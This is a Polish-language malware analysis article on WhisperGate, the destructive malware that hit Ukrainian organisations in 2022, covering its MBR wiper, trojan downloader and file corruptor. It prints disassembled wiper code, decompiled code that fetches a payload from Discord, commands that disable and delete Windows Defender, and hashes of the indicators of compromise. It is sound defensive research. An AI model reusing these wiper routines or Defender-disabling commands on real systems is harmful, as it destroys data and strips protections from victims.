ethical.blue Magazine

// Cybersecurity clarified.

Szczegóły destrukcyjnego malware atakującego Ukrainę

05.02.2022   Dawid Farbaniec
...
Dnia 15 stycznia 2022 firma Microsoft wspomniała o destrukcyjnym oprogramowaniu, które atakuje organizacje na Ukrainie (https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ [access: 2022-01-29]).

Szybkie podsumowanie



Techniczna analiza próbek złośliwego kodu

Próbki użyte w ataku odwiedziły moje laboratorium.

Możemy wyróżnić dwie główne próbki użyte w tej operacji:
[🧪] 001.exe – Hard Disk Main Boot Record Wiper (MBR Corruptor, BootPatch)
[🧪] 002.exe – Trojan Downloader (WhisperGate)



MBR Corruptor (BootPatch)

MBR to sektor dysku twardego, gdzie znajduje się program ładujący. Kod tam zawarty jest uruchamiany, gdy system operacyjny startuje. Analizowana próbka nadpisuje program ładujący w MBR swoim złośliwym kodem. Użytkownicy komputerów muszę być gotowi na to, że system operacyjny nie wstanie i wyświetli fałszywą wiadomość dotyczącą zapłacenia okupu.

Czas utworzenia pliku:
2022-01-10 10:37:18 UTC

Pierwsze wysłanie do usługi VirusTotal:
2022-01-16 20:30:19 UTC

Rozmiar pliku: 27.00 KB (27648 bytes)

SHA-256:
a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92

SHA-384:
4042ee35e0730002c2c62048d7c005f05a6a7915c1d2006a20c76b2a9a64ec0d7db7b6377541230e97149a8431c811e9

SHA-512: ece2ac87f5b80dc43ac68f766eee16be6f8cd3b1c6535c741551d0637c72c712e9f7de080e6fa612b321b9e9eab90922995bba5486debefbbb6e21104a80442d

Rekonesans

Na etapie rekonesansu można zrzucić napisy z pliku wykonywalnego za pomocą narzędzia FLOSS. Program FLARE Obfuscated String Solver to wspaniałe narzędzie do zrzucania zwykłych jak i zaciemnionych napisów podczas analizy złośliwej aplikacji. Tutaj możemy podejrzewać, że złośliwy program uszkadza pliki na dysku oraz, że jest napisany w C / C++ i zbudowany za pomocą kompilatora GCC 6.3. Jest też tutaj fałszywa wiadomość dotycząca zapłaty okupu poprzez kryptowalutę Bitcoin.





Ciągi tekstowe warte zanotowania:
GCC: (GNU) 6.3.0
GCC: (GNU) 6.3.0
GCC: (MinGW.org GCC-6.3.0-1) 6.3.0

Your hard drive has been corrupted. In case you want to recover all hard drives of your organization, You should pay us  $10k via bitcoin wallet 1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65 with your organization name. We will contact you to give further instructions.

FLOSS static Unicode strings:
\\.\PhysicalDrive0

Analiza dynamiczna pod debuggerem

Analiza pod debuggerem pokazuje, że złośliwy program uzyskuje dostęp do MBR za pomocą CreateFileW i WriteFile z Windows API. Jest to wykonywane poprzez argument \\.\PhysicalDrive0 przekazany do funkcji API. Master Boot Record jest umieszczony na początku dysku i zawiera program, który jest wykonywany przed startem systemu operacyjnego. Jest to pewnego rodzaju loader, który jest nadpisywany przez złośliwy program. Można to określić atakiem typu Odmowa usługi (ang. Denial of Service, DoS). Maszyna po ponownym uruchomieniu pokazuje fałszywą wiadomość o zapłacie okupu. Warto zauważyć, że próba zapłaty okupu albo oczekiwanie na narzędzia naprawiające od firm antywirusowych nic nie da. Dzieje się tak, gdyż pliki są nadpisywane (uszkadzane), a nie szyfrowane. Zainfekowani użytkownicy muszą być gotowi do przywracania systemu z kopii zapasowych (ang. backup).





Dalej jest listing Asemblera x86 uzyskany poprzez dezasemblację programu z uszkodzonego Master Boot Record. Kod pochodzi z narzędzia The Interactive Disassembler (IDA). Kod jest w języku Asembler dla architektury x86 w wersji 16 bit. Złośliwy kod zawiera fałszywą wiadomość o zapłacie okupu oraz kod, który powoduje niszczenie danych na dyskach komputera. Dzieje się to za pomocą przerwań BIOS.

;+-------------------------------------------------------------------------+

;|   This file has been generated by The Interactive Disassembler (IDA)    |
;|           Copyright (c) 2018 Hex-Rays, <[email protected]>           |
;|                            Freeware version                             |
;+-------------------------------------------------------------------------+
;
; SHA256 : 8D71D6E45183BC1390F0621E79A7EC1F1F664A252AF7CFDE2458DE3B1C1A4F8E
; MD5    : B470903ECB076607DCD2B86A1BA9F94B
; CRC32  : 22849D97
;
; --------------------------------------------------------------------------
; File Name   : C:\Users\vx\Desktop\mbr.hex
; Format      : Binary file
; Base Address: 0000h Range: 0000h - 0200h Loaded length: 0200h
; --------------------------------------------------------------------------
                .486
                .model flat
; ==========================================================================
; Segment type: Pure code
seg000 segment byte public 'CODE' use16
       assume cs:seg000
       assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
       jmp     short $+2
; ---------------------------------------------------------------------------

_start:
                 mov     ax, cs
                 mov     ds, ax
                 mov     si, 7C88h
                 call    $+3
                 push    ax
                 cld
_print_msg:
                 mov     al, [si]
                 cmp     al, 0
                 jz      short _msg_printed
                 call    print_character
                 inc     si
                 jmp     short _print_msg
; ---------------------------------------------------------------------------
_msg_printed:
                 jmp     short _wipe_data

; =============== S U B R O U T I N E =======================================
print_character proc near
                 mov     ah, 0Eh
                 int     10h ; WRITE CHARACTER AND ADVANCE CURSOR
                             ; AL = character, BH = display page
                             ; BL = foreground color
                 retn
print_character endp
; ---------------------------------------------------------------------------
_wipe_data:
                 mov     ax, cs
                 mov     ds, ax
                 mov     ds:7C78h, ax
                 mov     dword ptr ds:7C76h, 7C82h
                 mov     ah, 43h ; Interrupt Number (43h = EXTENDED WRITE)
                 mov     al, 0
                 mov     dl, ds:7C87h
                 add     dl, 80h    ; DL = Drive Number
                 mov     si, 7C72h  ; DS:SI -> Disk Address Packet
                 int     13h        ; DATA XREF: print_character+2^r
                                    ; DISK - EXTENDED WRITE
                                    ; (DL - drive, AL - verify flag,
                                    ; DS:SI - disk address packet)
                 jb      short _error
                 jnb     short _next
_error:                                
                 inc     byte ptr ds:7C87h
                 mov     dword ptr ds:7C7Ah, 1
                 mov     dword ptr ds:7C7Eh, 0
                 jmp     short _wipe_data
; ---------------------------------------------------------------------------
_next:
                 ;0C7h = 199d = Sector Number
                 add     dword ptr ds:7C7Ah, 0C7h
                 adc     dword ptr ds:7C7Eh, 0
                 clc
                 jmp     short _wipe_data
; ---------------------------------------------------------------------------
                 db  10h
                 align 2
                 db 1, 5 dup(0), 1, 7 dup(0), 5 dup(41h), 0
szFakeRansomNote db 'Your hard drive has been corrupted.',0Dh,0Ah
    db 'In case you want to recover all hard drives',0Dh,0Ah
    db 'of your organization,',0Dh,0Ah
    db 'You should pay us  $10k via bitcoin wallet',0Dh,0Ah
    db '1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via',0Dh,0Ah
    db 'tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23'
    db '054C057ECED5496F65',0Dh,0Ah
    db 'with your organization name.',0Dh,0Ah
    db 'We will contact you to give further instructions.',0
    db 3 dup(0), 55h, 0AAh
seg000 ends
end ;seg000:01FB

Trojan Downloader (WhisperGate)

Druga próbka to tak zwany Trojan Downloader. Zadaniem tego programu jest pobieranie ładunku z Internetu. Do przechowywania ładunku zastosowano serwery Discord. Jest tutaj też kod, który powoduje wywołanie złośliwej metody z pobranej biblioteki.

Czas utworzenia pliku:
2022-01-10 14:39:54 UTC

Pierwsze wysłanie do usługi VirusTotal:
2022-01-16 20:31:26 UTC

Rozmiar pliku: 209.91 KB (214944 bytes)

SHA-256:
dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78

SHA-384:
c31b96974344e2b6d4e20dde584cb8f82f4bc88cca6bdc2d8ba6f997f2da4a378da6d2aa6c67203316de02a93c052e6e

SHA-512:
fdaaac4ee73db90f69dc43a20f24d8f80a2f659288d28538c6fd1946b8861bb161b41ad3bcd65d16843cd21350e95c606f991a990110e100029b58abce978353

Rekonesans

Skanowanie w poszukiwaniu napisów pozwala uzyskać ogólne informacje, które później trzeba zweryfikować. Wśród pobranych napisów najbardziej rzuca się w oczy adres URL oraz tekst, który wygląda jak kodowanie Base64.



Analiza statyczna za pomocą dnSpyEx

Kod próbki jest zaciemniony (ang. obfuscated), ale możliwy do odczytania. Następuje tutaj uruchomienie procesu PowerShell.

string text = "0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==";

if (true)
{
    text2 = text;
/* ... */
Facade.WaitForExit(Facade.StartProcess(new ProcessStartInfo
{
    FileName = "powershell",
    Arguments = Facade.Concatenate("-enc UwB0AGEAcgB0AC", text2),
    WindowStyle = ProcessWindowStyle.Hidden
}));

Polecenie jest kodowane Base64 i wymaga połączenia napisów. Rezultat to:
UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==

Można to zdekodować za pomocą PowerShell:
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA=="))



Złośliwy program używa Start-Sleep w celu opóźnienia w wykonaniu kodu. Prawdopodobnie ma to za cel ominąć automatyczną analizę.



W gąszczu zaciemnionych poleceń jest kod Trojan Downloader:
IL_3C:

Facade.ArrayReverse(array, 0, array.Length);
goto IL_4D;
IL_117:
byte[] array2 = (byte[])Facade.UpdateItem(typeof(WebClient).GetMethod("DxownxloxadDxatxxax".Replace("x", ""), new Type[]
{
Facade.GetTypeFromHandle(typeof(string).TypeHandle)
}), new WebClient(), new object[]
{
"https://cdn.discordapp[.]com/attachments/928503440139771947/930108637681184768/Tbopbh[.]jpg"
});
if (5 == 0)
{
num2 = 4;
continue;
}
array = array2;
num2 = 6;
continue;

Próbka malware próbuje pobrać załącznik z serwerów Discord. Kod powyżej zawiera również metodę, która odwraca bajty w tablicy. Podczas analizy ładunek (ang. payload) jest niedostępny. W celu odtworzenia zachowania można zmienić link tak, aby wskazywał na plik na dysku lokalnym.



W odzyskanym kodzie .NET jest też wywołanie metody Ylfwdwgmpilzyaph z pobranej biblioteki (DLL).

IL_74:

flag = Manager.Compare(methodInfo2.Name, "Ylfwdwgmpilzyaph");
num = 11;
continue;
/* ... */
else
{
methodInfo2.Invoke(null, null);
num2 = 2;
if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_a1c1ff6dd32b4941b387e9a3f27456af != 0)
{
num2 = 7;
continue;
}
continue;
}

Analiza dynamiczna za pomocą Process Monitor

Analiza dynamiczna za pomocą Process Monitor z pakietu Windows Sysinternals powinna dać ogólny pogląd na zachowanie próbki.



Po wykonaniu można zauważyć kilka procesów.

Jest tutaj zaszyfrowane polecenie Start-Sleep powodujące opóźnienie w wykonaniu kodu:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==

Jest tutaj złośliwy skrypt Visual Basic. Złośliwy plik Nmddfrqqrbyjeygggda.vbs) próbuje dodać cały dysk C:\ do wyjątków programu antywirusowego Windows Defender:
C:\Windows\System32\WScript.exe "C:\Users\vx\AppData\Local\Temp\Nmddfrqqrbyjeygggda.vbs"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath 'C:\'

Tutaj jest próba zatrzymania usługi Windows Defender. Uruchamiany plik sc.exe to Microsoft's command-line Service Configuration Tool:
C:\Users\vx\AppData\Local\Temp\AdvancedRun.exe /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend"  /StartDirectory /RunAs 8 /Run

Tutaj jest próba usunięcia wszystkich plików z folderu antywirusa Windows Defender:
C:\Users\vx\AppData\Local\Temp\AdvancedRun.exe /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory /RunAs 8 /Run

Co to jest AdvancedRun.exe?
Quote:
AdvancedRun is a simple tool for Windows that allows you to run a program with different settings that you choose, including - low or high priority, start directory, main window state (Minimized/Maximized), run the program with different user or permissions, Operating system compatibility settings, and environment variables. You can also save the desired settings into a configuration file and then run the program automatically from command-line with the desired settings.

https://www.nirsoft.net/utils/advanced_run.html [access: 2022-02-03]

Program InstallUtil.exe domyślnie nie jest szkodliwy, ale tutaj został użyty do złych celów.
__ InstallUtil.exe C:\Users\vx\AppData\Local\Temp\InstallUtil.exe

Następujące pliki pozostały w systemie: (InstallUtil.exe i Nmddfrqqrbyjeygggda.vbs.



Trojan Dropper/Loader (WhisperPack)

Czas utworzenia pliku:
2022-01-10 14:39:31 UTC

Pierwsze wysłanie do usługi VirusTotal:
2022-01-16 21:29:58 UTC

Rozmiar pliku: 273.50 KB (280064 bytes)

SHA-256:
9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d

SHA-384:
1545c4f52ffde9e4114b8a823a850e24375be329d39b391fb0403d270dd7fc7936bb2f3c19e90ec2b778b6b011afcc36

SHA-512:
7a30af55518eb2f125ad475b3e495b9beebcc7cba2adf5d9edf3aa1a9e0a351b53df430061089cdcebe3073364754ccad4d2ca22b05c84c925089a0229f04e6e

Rekonesans

Ładunek pobrany przez próbkę 002.exe to Biblioteka Dołączana Dynamicznie (.dll). Można ją wypakować np. za pomocą narzędzia dnSpyEx.





Uruchomienie złośliwej biblioteki

W celu uruchomienia metody ze złośliwej biblioteki w celu analizy możemy stworzyć prosty loader w języku programowania C#.

using System.IO;

using System.Reflection;

namespace LoadDLL
{
    class Program
    {
        static void Main(string[] args)
        {
            const string dllName = @"C:\Users\vx\Desktop\samples\Frkmlkdkdubkznbkmcf.dll";

            var payload = File.ReadAllBytes(dllName);
            var assembly = Assembly.Load(payload);
            var method = assembly.GetType("ClassLibrary1.Main").GetMethod("Ylfwdwgmpilzyaph");

            //invoke DLL method for analysis
            _ = method.Invoke(null, null);
        }
    }
}

Innym rozwiązaniem może być użycie rundotnetdll z systemu FLARE VM.



To się zachowuje jak bakteria! 🧪🧫
Po uruchomieniu próbki 003.dll za pomocą loadera na maszynie wirtualnej można zaobserwować aktywność związaną z systemem plików. Malware nadpisuje pliki użytkownika. Przykładowy plik, który został zniszczony poprzez nadpisanie ma rozmiar 1 MB i jest nadpisany bajtami o wartości 0xCC.







Uruchamiane procesy

Czas uruchomić bibliotekę za pomocą C# loadera lub rundotnetdll z systemu FLARE VM, aby zbadać uruchamiane procesy. Można to zrobić ustawiając pułapki (ang. breakpoints) na określone funkcje Windows API.

Polecenia ustawiające pułapki w x32dbg:
bpx CreateProcessA

bpx CreateProcessW
bpx WriteProcessMemory

Pułapka zatrzymuje wykonanie na procesach, które wcześniej były widoczne w Sysinternals Process Monitor.



Tutaj jest uruchamiany wcześniej wspomniany skrypt Visual Basic:
CreateProcess(

  "C:\Windows\System32\WScript.exe",
  "C:\Windows\System32\WScript.exe %TEMP%\Nmddfrqqrbyjeygggda.vbs",
  NULL,
  NULL,
  FALSE,
0x04080414, // creation flags
  NULL,
  "C:\Users\vx\Desktop\LoadDLL\LoadDLL\bin\Debug",
  0x01011248,
  0x010112A4);

Flagi procesu 0x04080414 to połączenie następujących stałych:
CREATE_DEFAULT_ERROR_MODE = 0x04000000
EXTENDED_STARTUPINFO_PRESENT = 0x00080000
CREATE_UNICODE_ENVIRONMENT = 0x00000400
CREATE_NEW_CONSOLE = 0x00000010
CREATE_SUSPENDED = 0x00000004

Pozostałe procesy można sprawdzić poprzez naciśnięcie F9 lub wybranie z górnego menu Debug / Run (F9). Można zauważyć, że jeden z procesów jest nadpisywany za pomocą funkcji WriteProcessMemory z Windows API. Składnia WriteProcessMemory z MSDN to:
BOOL WriteProcessMemory(

  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

Warto zauważyć, że dane wpisywane do procesu to plik wykonywalny (MZ to sygnatura pliku PE/EXE).



Można zrzucić ten plik w kawałkach za pomocą polecenia savedata path, address, size w narzędziu x32dbg. Później za pomocą edytora szesnastkowego (np. HxD) należy te kawałki połączyć w jeden program. Gotowy plik powinien mieć 25 088 bajtów i osiem (8) sekcji PE.

Przykładowe polecenie do zrzucenia pierwszej części:
savedata “C:\Users\vx\Desktop\samples\dump1.bin”, 02C5F960, 400



Dumped file wiper (WhisperKill)

Czas utworzenia pliku:
2022-01-10 08:14:38 UTC

Pierwsze wysłanie do usługi VirusTotal:
2022-01-19 13:34:05 UTC

Rozmiar pliku: 24.50 KB (25088 bytes)

SHA-256:
34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907

SHA-384:
1275ef69e27152dc805708d122f22892cd5e227d881e8f8e972fe069ad4ec0fc06d0ba2f1e2bc0ec91fd87ae49837808

SHA-512:
758c0cc593d9cfdef3063ba6da396eb5399240d72afd398a34b09faabc9de8a4019027b10663be5b352c4da9b9bd50f1248c20f457fbdb001295bed9f976c113

Rekonesans

Jako wstępny rekonesans można spróbować zrzucić napisy w pliku za pomocą wcześniej już używanego narzędzia FLOSS.



Wstępna analiza dynamiczna i symulacja

Uruchomienie próbki 004.exe w debuggerze pokazuje, że malware ma za zadanie uszkadzać pliki. Jest możliwość poznania rozszerzeń uszkadzanych plików patrząc na odwołania do napisów.

Do uszkodzenia idzie 190 rodzajów plików:
.3DM .3DS .602 .7Z .ACCDB .AI .ARC .ASC .ASM .ASP .ASPX .BACKUP .BAK .BAT .BMP .BRD .BZ .BZ2 .C .CGM .CLASS .CMD .CONFIG .CPP .CRT .CS .CSR .CSV .DB .DBF .DCH .DER .DIF .DIP .DOC .DOCB .DOCM .DOCX .DOT .DOTM .DOTX .DWG .EDB .EML .FRM .GIF .GO .GZ .H .HDD .HTM .HTML .HWP .IBD .INC .INI .ISO .JAR .JAVA .JPEG .JPG .JS .JSP .KDBX .KEY .LAY .LAY6 .LDF .LOG .MAX .MDB .MDF .MML .MSG .MYD .MYI .NEF .NVRAM .ODB .ODG .ODP .ODS .ODT .OGG .ONETOC2 .OST .OTG .OTP .OTS .OTT .P12 .PAQ .PAS .PDF .PEM .PFX .PHP .PHP3 .PHP4 .PHP5 .PHP6 .PHP7 .PHPS .PHTML .PL .PNG .POT .POTM .POTX .PPAM .PPK .PPS .PPSM .PPSX .PPT .PPTM .PPTX .PS1 .PSD .PST .PY .RAR .RAW .RB .RTF .SAV .SCH .SHTML .SLDM .SLDX .SLK .SLN .SNT .SQ3 .SQL .SQLITE3 .SQLITEDB .STC .STD .STI .STW .SUO .SVG .SXC .SXD .SXI .SXM .SXW .TAR .TBK .TGZ .TIF .TIFF .TXT .UOP .UOT .VB .VBS .VCD .VDI .VHD .VMDK .VMEM .VMSD .VMSN .VMSS .VMTM .VMTX .VMX .VMXF .VSD .VSDX .VSWP .WAR .WB2 .WK1 .WKS .XHTML .XLC .XLM .XLS .XLSB .XLSM .XLSX .XLT .XLTM .XLTX .XLW .YML .ZIP

Są tutaj też odwołania do rozszerzeń .DJVU oraz .SH.



Jednak symulacja pokazuje, że pliki tego typu nie zostały nadpisane.



Analiza statyczna za pomocą Ghidra

Złośliwa próbka w celu uszkodzenia plików najpierw pobiera listę dysków za pomocą funkcji GetLogicalDrives();. Jest to wykonywane poprzez iterację poprzez litery alfabetu od A do Z.

/* Decompiled with Ghidra */

void GetLogicalDrivesFunc(void)
{
DWORD drives;
UINT driveType;
int i;
wchar_t* path;
double dVar6;
uint local_3c;
wchar_t drivePath[3];
undefined2 fileFilter;

drives = GetLogicalDrives();
path = L"A:\*";
lstrcpyn(drivePath, path, 10);

fileFilter = NULL;
i = 0;
do {
dVar6 = (uint)ROUND(pow(2.0, (double)i));
if ((dVar6 & drives) != 0) {
drivePath[0] = (short)i + L'A';
driveType = GetDriveTypeW(drivePath);
if (driveType != DRIVE_FIXED && != DRIVE_REMOTE) {
goto _next_drive;
}
fileFilter = '*';
SearchFilesFunc(drivePath);
fileFilter = NULL;
}
_next_drive:
i++;
if (i == 26) {
return;
}
} while (true);
}

Dalej malware rozpoczyna wyszukiwanie plików, które zostaną zniszczone. Pliki w katalogu Windows są pomijane.

/* Decompiled with Ghidra */

void __cdecl SearchFilesFunc(LPCWSTR param_1)
{
bool bVar1;
HANDLE hFindFile;
int iVar2;
size_t len3;
size_t len4;
wchar_t* currentPath;
wchar_t* windowsDirectory;
undefined3 extraout_var;
BOOL bMoreFilesAvailable;
int iVar7;
wchar_t* pwVar8;
wchar_t local_282[11];
_WIN32_FIND_DATAW local_26c;

hFindFile = FindFirstFileW(param_1, &lpFindFileData);

if (hFindFile == (HANDLE)0xffffffff)
return;

do {
len5 = wcscmp(lpFindFileData.cFileName, L".");

if (wcscmp(lpFindFileData.cFileName, L".") == 0)
continue;
if (wcscmp(lpFindFileData.cFileName, L"..") == 0)
continue;
if (wcscmp(lpFindFileData.cFileName, L"$RECYCLE.BIN") == 0)
continue;

len3 = wcslen(lpFindFileData.cFileName);
len4 = wcslen(param_1);
len5 = len3 + len4;
currentPath = (wchar_t*)malloc((iVar2 + 4) * 2);
wcscpy(currentPath, param_1);
currentPath[sVar4 - 1] = L'\0';
wcscat(currentPath, lpFindFileData.cFileName);
windowsDirectory = L"A:\Windows";
windowsDirectory = _wgetenv(L"HOMEDRIVE");
if (wcscmp(currentPath, windowsDirectory) != 0) {
if (bIsDirectory(currentPath)) {
currentPath[len5 + 0x7fffffff] = "\\";
currentPath[len5 + -0x80000000] = "*";
currentPath[len5 + -0x7fffffff] = "\\0";
SearchFilesFunc(currentPath);
}
else {
DamageDataFunc(currentPath);
}
free(currentPath);
}
bMoreFilesAvailable = FindNextFileW(hFindFile, &lpFindFileData);
} while (bMoreFilesAvailable != 0);
FindClose(hFindFile);
return;
}

Jest tutaj funkcja, która niszczy pliki poprzez nadpisanie ich bajtami o wartości 0xCC. Wymazane pliki mają rozmiar 1 MB i losowe rozszerzenie.

/* Decompiled with Ghidra */

void __cdecl DamageDataFunc(wchar_t* path)
{
size_t pathLength;
FILE* _File;
undefined* _Str;
wchar_t* randomFileName;
int i;
unsigned char* bytes;

i = 0;
extension = GetFileExtension(path);
FUN_00401492(extension);
do {
//Compare file extension (check if it is on target list)
if (wcscmp(*(wchar_t**)((int)&PTR_u_.HTML_00405020 + i), extension) == 0) {
pathLength = wcslen(path);
randomFileName = (wchar_t*)malloc((pathLength + 0x14) * 2);
i = rand();
randomFileName = wcslen(path);
swprintf(randomFileName, (size_t)L"%.*s.%x", (wchar_t*)(randomFileName - 4), path, i);
_File = _wfopen(path, L"wb");
_Str = (undefined*)malloc(0x100000); //1 Megabyte
bytes = _Str;
for (i = 0; i <= 0x100000; i++) {
bytes[i] = 0xCC; //overwrite file with 0xCC value
}
fwrite(_Str, 1, 0x100000, _File); //damage file
fclose(_File);
_wrename(path, randomFileName);
free(randomFileName);
free(_Str);
return;
}
randomValue = randomValue++;
} while (randomValue != 195);
return;
}

Dalej złośliwy program wywołuje funkcję zamykającą system ExitWindowsEx z flagami EWX_SHUTDOWN i EWX_FORCE podając powód EWX_FORCEIFHUNG.

/* Decompiled with Ghidra */

undefined4 FUN_0040193a(void)
{
GetLogicalDrivesFunc();
SelfDeleteFunc();
ExitWindowsEx(1, 0x14);
return 0;
}

Indicators of Compromise (IoC)

(pol. Wskaźniki kompromitacji systemu)
(ua. індикатори компрометації)

Name: Master Boot Record Corruptor (fake ransomware)
Other names: BootPatch
SHA-256:
a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92

Name: MBR.hex (MBR program after corruption)
SHA-256:
8d71d6e45183bc1390f0621e79a7ec1f1f664a252af7cfde2458de3b1c1a4f8e

Name: Tbopbh.exe (Trojan Downloader)
Other names: WhisperGate
SHA-256:
dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78

Name: Tbopbh.jpg
Other names: WhisperPack
SHA-256:
923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6

Name: Frkmlkdkdubkznbkmcf.dll
Other names: WhisperPack (fixed)
Fixed with: Array.Reverse(File.ReadAllBytes("Tbopbh.jpg"))
SHA-256:
9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d

Name: Nmddfrqqrbyjeygggda.vbs (in %TEMP%)
SHA-256:
db5a204a34969f60fe4a653f51d64eee024dbf018edea334e8b3df780eda846f

Name: AdvancedRun.exe (in %TEMP%)
SHA-256:
29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

Name: InstallUtil.exe (in %TEMP%)
Description: This is legitimate file but shouldn’t be placed in %TEMP% folder.
SHA-256:
af5cbd35c7d8dea7d879113fda61b0f64ac6618bcdae15c0c732a018babf68ee

Name: File Corruptor (injected to legitimate process InstallUtil.exe)
Other names: WhisperKill
SHA-256:
34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907

Wykaz literatury

https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ [access: 2022-01-29]